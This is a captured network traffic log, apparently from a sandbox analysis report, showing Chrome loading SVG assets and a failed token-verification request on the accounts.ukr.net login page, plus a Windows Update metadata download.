2024-10-26 11:49:06 UTC	500	OUT	GET /login/assets/illustration-design-ece6269f.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:07 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: image/svg+xml Content-Length: 13537 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-34e1" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:07 UTC	13537	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 64 65 66 73 3e 3c 70 61 74 68 20 69 64 3d 22 61 22 20 64 3d 22 4d 34 20 30 68 32 38 32 2e 33 36 33 61 34 20 34 20 30 20 30 20 31 20 34 20 34 76 31 39 39 2e 33 36 34 48 30 56 34 61 34 20 34 20 30 20 30 20 31 20 34 2d 34 22 2f 3e 3c 70 61 74 68 20 69 64 3d 22 65 22 20 64 3d 22 4d 37 39 2e 32 38 20 33 32 2e 32 38 68 31 38 34 2e 35 61 34 20 34 20 30 20 30 20 31 20 34 20 34 76 31 36 37 2e 30 38 34 48 37 35 2e 32 38 56 33 36 2e 32 38 61 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h282.363a4 4 0 0 1 4 4v199.364H0V4a4 4 0 0 1 4-4"/><path id="e" d="M79.28 32.28h184.5a4 4 0 0 1 4 4v167.084H75.28V36.28a4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49770	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	503	OUT	GET /login/assets/illustration-unlimited-8c72d422.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:07 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: image/svg+xml Content-Length: 9961 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-26e9" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:07 UTC	9961	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 34 33 30 20 34 35 35 2e 35 68 2d 39 31 7a 4d 33 32 37 20 34 35 35 2e 35 68 2d 32 36 7a 4d 31 39 30 20 34 35 35 2e 35 48 31 37 7a 22 2f 3e 3c 2f 67 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 64 66 65 31 65 39 22 20 64 3d 22 4d 33 38 37 20 31 38 32 68 31 35 76 32 37 34 68 2d 31 35 7a 22 2f 3e 3c 70 61 74 68 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 20 64 3d 22 4d 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M430 455.5h-91zM327 455.5h-26zM190 455.5H17z"/></g><path fill="#dfe1e9" d="M387 182h15v274h-15z"/><path stroke="#9ba1a9" d="M4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49771	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	500	OUT	GET /login/assets/illustration-backup-e81719b8.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:07 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: image/svg+xml Content-Length: 41292 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-a14c" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:07 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 64 65 66 73 3e 3c 6d 61 73 6b 20 69 64 3d 22 62 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 30 20 30 68 39 38 2e 30 35 76 31 30 37 2e 31 39 39 48 30 7a 22 2f 3e 3c 2f 6d 61 73 6b 3e 3c 6d 61 73 6b 20 69 64 3d 22 64 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 75 73 65 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 61 22 20 66 69 6c 6c 2d 72 75 6c 65 3d Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><mask id="b" fill="#fff"><path fill-rule="evenodd" d="M0 0h98.05v107.199H0z"/></mask><mask id="d" fill="#fff"><use xlink:href="#a" fill-rule=
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 43 67 4d 57 55 4d 30 52 42 4e 6c 54 6b 63 47 30 31 70 4b 44 68 74 6d 48 45 76 31 2b 50 7a 4d 69 53 6f 32 58 71 65 41 53 58 41 55 30 47 6d 30 66 42 42 4d 70 41 77 6f 69 71 53 67 57 73 66 6b 49 69 55 4f 5a 55 37 69 51 42 79 30 54 6c 76 71 70 59 52 46 69 59 5a 72 4d 41 38 32 51 36 6e 69 6b 77 4d 55 78 4a 59 45 6c 78 41 68 4d 70 61 2b 47 57 64 41 42 72 36 57 6d 53 53 4d 41 45 42 4d 63 6e 69 42 35 39 2f 55 69 47 2f 41 4b 35 2f 69 54 52 55 41 41 4d 56 4b 77 42 47 75 36 4a 74 73 50 59 47 6e 61 46 6c 37 46 38 6f 52 77 41 68 2b 54 6d 66 41 41 36 4e 62 32 2b 43 34 61 4e 72 48 71 70 6b 4e 44 52 42 49 2b 4f 4e 6a 38 61 64 41 66 31 72 51 41 34 54 74 2f 43 71 55 58 43 4a 64 69 71 41 43 4f 7a 32 4b 74 36 4a 56 71 38 68 61 5a 78 6e 6a 39 42 6b 6d 69 59 55 64 57 6b 6b 38 Data Ascii: CgMWUM0RBNlTkcG01pKDhtmHEv1+PzMiSo2XqeASXAU0Gm0fBBMpAwoiqSgWsfkIiUOZU7iQBy0TlvqpYRFiYZrMA82Q6nikwMUxJYElxAhMpa+GWdABr6WmSSMAEBMcniB59/UiG/AK5/iTRUAAMVKwBGu6JtsPYGnaFl7F8oRwAh+TmfAA6Nb2+C4aNrHqpkNDRBI+ONj8adAf1rQA4Tt/CqUXCJdiqACOz2Kt6JVq8haZxnj9BkmiYUdWkk8
2024-10-26 11:49:07 UTC	8861	IN	Data Raw: 39 35 35 35 32 37 22 20 64 3d 22 4d 31 33 32 2e 38 39 36 20 34 35 33 2e 30 34 38 61 2e 30 34 2e 30 34 20 30 20 30 20 30 20 2e 30 32 32 2e 30 30 35 63 32 2e 37 34 20 31 2e 30 36 20 37 2e 32 33 2e 36 20 31 32 2e 30 36 35 2d 2e 32 36 37 71 2e 39 32 38 2d 2e 31 36 37 20 31 2e 36 37 37 2d 2e 32 37 2e 31 39 37 2d 2e 30 32 36 2e 33 39 2d 2e 30 34 37 63 2e 31 30 32 2d 2e 30 31 34 2e 32 30 34 2d 2e 30 32 33 2e 33 30 32 2d 2e 30 33 36 20 34 2e 38 33 2d 2e 35 33 20 34 2e 35 32 2e 39 38 20 31 33 2e 37 37 36 2e 35 33 34 20 31 30 2e 35 35 31 2d 2e 35 31 32 20 31 33 2e 39 35 36 2d 34 2e 32 32 33 20 31 34 2e 33 37 2d 35 2e 37 36 2e 33 34 38 2d 31 2e 33 30 34 2d 34 2e 33 31 39 2d 32 2e 31 30 31 2d 39 2e 35 33 39 2d 33 2e 30 32 37 2d 2e 32 35 32 2d 2e 30 34 34 2d 2e 35 30 Data Ascii: 955527" d="M132.896 453.048a.04.04 0 0 0 .022.005c2.74 1.06 7.23.6 12.065-.267q.928-.167 1.677-.27.197-.026.39-.047c.102-.014.204-.023.302-.036 4.83-.53 4.52.98 13.776.534 10.551-.512 13.956-4.223 14.37-5.76.348-1.304-4.319-2.101-9.539-3.027-.252-.044-.50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49772	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	659	OUT	GET /login/assets/illustration-popular-bfc8c819.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:07 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: image/svg+xml Content-Length: 37423 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-922f" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.37:5080
2024-10-26 11:49:07 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 39 62 61 31 61 39 22 20 64 3d 22 4d 32 38 37 2e 33 38 35 20 34 35 34 2e 36 32 36 76 31 48 39 31 76 2d 31 7a 6d 2d 32 31 31 2e 33 38 35 20 30 76 31 48 35 38 76 2d 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 39 35 35 35 32 37 22 20 64 3d 22 4d 31 39 31 2e 32 34 39 20 31 31 30 2e 37 36 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#9ba1a9" d="M287.385 454.626v1H91v-1zm-211.385 0v1H58v-1z"/><path fill="#955527" d="M191.249 110.764
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 32 2d 2e 39 31 20 31 2e 32 34 33 2d 31 2e 33 37 39 20 31 2e 36 33 36 2d 2e 34 35 34 2e 33 38 31 2d 2e 38 36 38 2e 37 34 38 2d 31 2e 35 38 35 20 31 2e 33 39 38 6c 2d 2e 32 31 2e 31 39 31 63 2d 32 2e 33 37 31 20 32 2e 31 34 38 2d 33 2e 35 33 34 20 33 2e 30 35 36 2d 35 2e 31 33 38 20 33 2e 38 30 35 2d 34 2e 36 34 31 20 32 2e 31 36 37 2d 37 2e 34 34 37 20 34 2e 38 37 32 2d 38 2e 39 30 31 20 38 2e 39 38 32 2d 31 2e 38 32 35 20 35 2e 31 35 39 2d 35 2e 32 36 38 20 38 2e 31 30 38 2d 31 30 2e 35 31 34 20 38 2e 36 33 32 2d 32 2e 32 35 34 2e 32 32 36 2d 33 2e 36 31 33 2e 39 37 39 2d 34 2e 30 34 31 20 32 2e 36 30 38 2d 2e 34 34 34 20 31 2e 36 39 35 2e 32 30 38 20 32 2e 37 34 32 20 32 2e 33 39 38 20 34 2e 36 39 37 2e 32 34 38 2e 32 32 31 2e 34 38 31 2e 33 38 31 20 31 Data Ascii: 2-.91 1.243-1.379 1.636-.454.381-.868.748-1.585 1.398l-.21.191c-2.371 2.148-3.534 3.056-5.138 3.805-4.641 2.167-7.447 4.872-8.901 8.982-1.825 5.159-5.268 8.108-10.514 8.632-2.254.226-3.613.979-4.041 2.608-.444 1.695.208 2.742 2.398 4.697.248.221.481.381 1
2024-10-26 11:49:07 UTC	4992	IN	Data Raw: 2e 30 32 37 2d 2e 30 38 38 2e 34 32 35 2d 34 2e 31 37 33 20 32 30 2e 32 32 31 2d 2e 30 34 2e 31 39 33 2d 2e 31 38 39 2e 30 35 37 63 2d 34 2e 36 34 36 20 31 2e 34 30 35 2d 38 2e 37 31 32 20 31 2e 34 39 36 2d 31 32 2e 31 39 33 2e 32 36 33 2d 34 2e 31 35 34 2d 31 2e 34 37 31 2d 35 2e 37 39 34 2d 31 2e 35 30 31 2d 38 2e 30 39 36 2d 2e 35 31 34 6c 2d 2e 32 36 32 2d 2e 36 31 63 32 2e 34 36 37 2d 31 2e 30 35 38 20 34 2e 32 37 38 2d 31 2e 30 32 35 20 38 2e 35 37 39 2e 34 39 38 20 33 2e 33 33 36 20 31 2e 31 38 31 20 37 2e 32 36 20 31 2e 30 39 34 20 31 31 2e 37 37 39 2d 2e 32 37 33 6c 2d 2e 31 38 39 2e 30 35 36 20 34 2e 30 34 36 2d 31 39 2e 36 30 35 2d 2e 30 36 35 2e 30 30 34 71 2d 36 2e 37 34 2e 33 32 32 2d 31 34 2e 30 31 36 2d 31 2e 38 33 31 6c 2d 2e 35 34 2d 2e Data Ascii: .027-.088.425-4.173 20.221-.04.193-.189.057c-4.646 1.405-8.712 1.496-12.193.263-4.154-1.471-5.794-1.501-8.096-.514l-.262-.61c2.467-1.058 4.278-1.025 8.579.498 3.336 1.181 7.26 1.094 11.779-.273l-.189.056 4.046-19.605-.065.004q-6.74.322-14.016-1.831l-.54-.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49773	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:07 UTC	503	OUT	GET /login/assets/illustration-patriotic-59471166.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:07 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:07 GMT Content-Type: image/svg+xml Content-Length: 39605 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-9ab5" Expires: Sat, 09 Nov 2024 11:49:07 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:07 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 61 22 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 61 65 66 35 34 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 2e 33 37 34 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 61 65 66 35 34 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 65 65 39 30 32 36 22 2f 3e 3c 2f 6c 69 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><linearGradient id="a"><stop offset="0" stop-color="#faef54"/><stop offset=".374" stop-color="#faef54"/><stop offset="1" stop-color="#ee9026"/></li
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 35 36 20 33 2e 33 33 38 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 39 62 39 31 36 22 20 64 3d 22 4d 31 35 30 2e 31 38 36 20 36 38 2e 30 39 63 2e 30 32 33 20 31 2e 33 2d 31 2e 30 36 20 32 2e 33 31 39 2d 32 2e 33 36 20 32 2e 33 34 32 2d 31 2e 33 2e 30 32 32 2d 32 2e 34 31 37 2d 2e 39 35 38 2d 32 2e 34 34 2d 32 2e 32 35 38 2d 2e 30 32 32 2d 31 2e 33 20 31 2e 30 36 2d 32 2e 33 31 39 20 32 2e 33 36 2d 32 2e 33 34 32 20 31 2e 32 39 38 2d 2e 31 32 32 20 32 2e 34 31 37 2e 39 35 38 20 32 2e 34 34 20 32 2e 32 35 38 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 32 36 34 32 32 22 20 64 3d 22 4d 31 35 38 2e 33 30 38 20 35 37 2e 38 34 37 73 32 2e 31 30 32 2d 35 2e 36 33 38 20 35 2e 37 33 38 2d 33 2e 36 63 33 2e 36 33 37 20 32 2e 30 33 36 2d 2e 36 31 32 20 Data Ascii: 56 3.338"/><path fill="#f9b916" d="M150.186 68.09c.023 1.3-1.06 2.319-2.36 2.342-1.3.022-2.417-.958-2.44-2.258-.022-1.3 1.06-2.319 2.36-2.342 1.298-.122 2.417.958 2.44 2.258"/><path fill="#f26422" d="M158.308 57.847s2.102-5.638 5.738-3.6c3.637 2.036-.612
2024-10-26 11:49:07 UTC	7174	IN	Data Raw: 3d 22 23 66 66 66 22 20 73 74 72 6f 6b 65 3d 22 23 32 64 32 63 33 37 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 64 3d 22 4d 34 33 38 2e 32 20 33 30 32 2e 39 30 34 73 2d 31 2e 32 2e 37 2d 31 2e 35 20 31 2e 38 2e 33 20 31 2e 36 2e 36 20 31 2e 38 20 33 2e 38 20 32 2e 31 20 37 2e 39 20 31 2e 38 20 35 2e 36 2d 32 2e 33 20 35 2e 38 2d 32 2e 35 63 2e 31 2d 2e 32 2e 37 2d 32 2e 34 2d 31 2e 34 2d 32 2e 36 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 6f 29 22 20 73 74 72 6f 6b 65 3d 22 23 61 33 36 31 32 34 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 64 3d 22 4d 30 20 33 31 2e 33 63 30 20 31 37 2e 33 20 31 34 2e 31 20 33 31 2e 33 20 33 31 2e 34 20 33 31 2e 33 20 31 37 2e 34 20 30 20 33 31 2e 34 2d 31 34 20 33 31 2e 34 2d 33 Data Ascii: ="#fff" stroke="#2d2c37" stroke-width="2" d="M438.2 302.904s-1.2.7-1.5 1.8.3 1.6.6 1.8 3.8 2.1 7.9 1.8 5.6-2.3 5.8-2.5c.1-.2.7-2.4-1.4-2.6"/><path fill="url(#o)" stroke="#a36124" stroke-width="2" d="M0 31.3c0 17.3 14.1 31.3 31.4 31.3 17.4 0 31.4-14 31.4-3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49761	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:07 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mUcwNRY3HxkAHCU&MD=5oOklbto HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-26 11:49:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f41e05ef-696f-4081-9349-9080747de6d5 MS-RequestId: 429d9e46-c20a-4301-802e-f0fd33f7e31a MS-CV: 8De8ldSczk6qD/5Y.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 26 Oct 2024 11:49:06 GMT Connection: close Content-Length: 24490
2024-10-26 11:49:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-26 11:49:07 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49775	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	817	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:08 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:08 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:08 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49777	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
